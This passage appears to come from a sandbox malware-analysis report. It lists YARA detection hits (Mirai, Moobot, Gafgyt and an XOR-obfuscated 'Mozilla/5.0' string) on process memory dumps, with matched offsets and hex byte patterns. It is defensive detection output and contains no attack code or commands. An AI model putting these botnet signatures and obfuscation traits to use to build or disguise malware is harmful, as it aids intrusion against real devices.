2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7050.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6912.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6805.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6256.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6256.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6256.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6256.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6256.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6256.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6917.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7096.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7096.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7096.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7096.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7096.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7096.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6614.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7386.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7386.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7386.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7386.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7386.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7386.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6332.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7408.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7408.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7408.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7408.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7408.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7408.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6641.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6641.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6641.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6641.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6641.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6641.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6995.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6663.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6263.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7045.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
